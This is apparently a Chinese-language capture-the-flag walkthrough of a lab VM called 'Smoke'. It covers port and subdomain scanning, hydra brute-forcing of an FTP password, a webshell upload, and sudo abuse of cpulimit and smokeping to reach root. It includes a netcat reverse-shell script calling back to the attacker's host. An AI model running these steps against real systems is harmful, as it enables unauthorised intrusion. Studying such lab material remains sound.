

Smoke

端口

```
PORT    STATE SERVICE REASON          VERSION
21/tcp  open  ftp      syn-ack ttl 64 vsftpd 3.0.5
22/tcp  open  ssh      syn-ack ttl 64 OpenSSH 10.0 (protocol 2.0)
80/tcp  open  http     syn-ack ttl 64 Apache httpd 2.4.66
l_http-server-header: Apache/2.4.66 (Unix)
l_http-methods:
l_ Supported Methods: GET HEAD POST OPTIONS
l_http-title: Did not follow redirect to http://smoke.dsz/
MAC Address: 08:00:27:98:E7:68 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: Smoke.localdomain; OS: Unix
```

ftp 匿名登录失败

80端口看了半天确实啥都没有，扫子域名，发现有个 `ftp.smoke.dsz`

```
ffuf -u http://192.168.0.22/ -H "Host: FUZZ.smoke.dsz" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -k -ac
```

有上传功能，扫目录发现 `/uploads` 目录，还有一个 `/uploads/passwd`，能看到用户名是 `tkbic` 还有 `ftpuser`

尝试了一下，发现不管上传的文件名是什么，会检测文件头，然后把文件后缀改成对应的文件头，比如 `%PDF-1.5` 就是 `.pdf`，`GIF87a` 就是 `.gif`

确实没想到办法绕过，大概就是给个用户名爆密码了，而且 `ssh` 还不允许密码认证，就是爆 `ftp` 的密码了

```
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.22 -t 64
```

获得凭证 `ftpuser:kelvin`

```
~/Desktop/maze hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://192.168.0.22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this i
s non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-15 19:25:50
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://192.168.0.22:21/
[STATUS] 895.00 tries/min, 895 tries in 00:01h, 14343519 to do in 267:07h, 49 active
[21][ftp] host: 192.168.0.22 login: ftpuser password: kelvin
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 15 final worker threads did not complete until end.
[ERROR] 15 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-15 19:27:28
```

上来以后发现已经有一个 `.ssh` 目录，而且权限是 `0:0`，看来没法直接写自己的公钥了，发现能出当前的目录，而且 `/var/www/vhosts/ftp.smoke.dsz/uploads` 可写，那就写个马弹shell，上来再切用户就行

`sudo -l` 发现 `(tkbic) /usr/bin/cpulimit`，[给的方案](#)里带 `-f` 参数，这个版本还没有，删了就行

```
sudo -u tkbic cpulimit -l 100 -- /bin/sh
```

写个公钥稳定一下 shell，`sudo -l` 发现 `(ALL) NOPASSWD: /usr/sbin/smokeping, /usr/bin/pkill smokeping`

看了一下，配置文件里的 `binary` 参数可以被执行，但是不能带参数，那就执行脚本就行了

```
cat > /tmp/shell.sh << 'EOF'
#!/bin/sh
busybox nc 192.168.0.142 5555 -e /bin/sh
EOF

chmod +x /tmp/shell.sh

cat /etc/smokeping/config > /tmp/exploit.conf

sed -i 's|^binary = .*|binary = /tmp/shell.sh|' /tmp/exploit.conf

sudo /usr/sbin/smokeping --config /tmp/exploit.conf --debug
```

```
~/Desktop/maze penelope -i eth0 -p 5555
[+] Listening for reverse shells on 192.168.0.142:5555
> Main Menu (m)  Payloads (p)  Clear (Ctrl-L)  Quit (q/Ctrl-C)
[+] Got reverse shell from Smoke 192.168.0.22 Linux-x86_64 root(0) • Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 192.168.0.142:5555
[+] Got reverse shell from Smoke 192.168.0.22 Linux-x86_64 root(0) • Assigned SessionID <2>
[+] Shell upgraded successfully using /var/tmp/socat
[+] Interacting with session [1] • Shell Type PTY • Menu key F12 ←
[+] Logging to /home/kali/.penelope/sessions/Smoke-192.168.0.22-Linux-x86_64/2026_04_15-20_05_10-371.log

root@Smoke:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Smoke:/tmp# ls
config          exploit.conf    ftp_probe_outside.txt  linpeas.sh        shell.sh
root@Smoke:/tmp# cat /root/root.txt
flag{root-21d1cf4c7492633885766cbca8cee19c}
root@Smoke:/tmp# cat /var/www/vhosts/
ftp.smoke.dsz/ user.txt
root@Smoke:/tmp# cat /var/www/vhosts/user.txt
flag{user-f54a5ef1d84ac07af4cbd4f96ebb7a71}
root@Smoke:/tmp#
```